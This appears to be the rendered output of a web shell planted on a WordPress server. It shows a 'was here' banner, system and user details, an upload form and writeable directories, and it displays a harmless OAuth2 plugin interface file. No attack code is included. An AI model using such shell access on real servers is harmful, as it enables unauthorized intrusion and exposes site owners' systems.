Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/store/wp-content/plugins/oauth2-provider/library/WPOAuth2/Storage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/store/wp-content/plugins/oauth2-provider/library/WPOAuth2/Storage/ScopeInterface.php
<?php

namespace WPOAuth2\Storage;

/**
 * Implement this interface to specify where the OAuth2 Server
 * should retrieve data involving the relevent scopes associated
 * with this implementation.
 *
 * @author Brent Shaffer <bshafs at gmail dot com>
 */
interface ScopeInterface {

	/**
	 * Check if the provided scope exists.
	 *
	 * @param $scope
	 * A space-separated string of scopes.
	 *
	 * @return
	 * TRUE if it exists, FALSE otherwise.
	 */
	public function scopeExists( $scope );

	/**
	 * The default scope to use in the event the client
	 * does not request one. By returning "false", a
	 * request_error is returned by the server to force a
	 * scope request by the client. By returning "null",
	 * opt out of requiring scopes
	 *
	 * @param $client_id
	 * An optional client id that can be used to return customized default scopes.
	 *
	 * @return
	 * string representation of default scope, null if
	 * scopes are not defined, or false to force scope
	 * request by the client
	 *
	 * ex:
	 *     'default'
	 * ex:
	 *     null
	 */
	public function getDefaultScope( $client_id = null );
}

Hry